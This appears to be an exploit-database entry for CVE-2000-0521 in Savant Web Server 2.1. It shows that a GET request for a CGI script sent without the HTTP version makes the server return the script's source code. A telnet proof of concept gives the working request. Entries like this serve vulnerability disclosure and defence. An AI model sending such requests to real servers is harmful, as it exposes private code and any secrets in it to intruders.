Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure

Author: Drew
type: remote
platform: cgi
port: 
date_added: 2000-06-05
date_updated: 2012-07-21
verified: 1
codes: CVE-2000-0521;OSVDB-517
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source: https://www.securityfocus.com/bid/1313/info

Omitting the HTTP version from a "GET" request for a CGI script to the Savant Web Server discloses the source code of the script.

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed>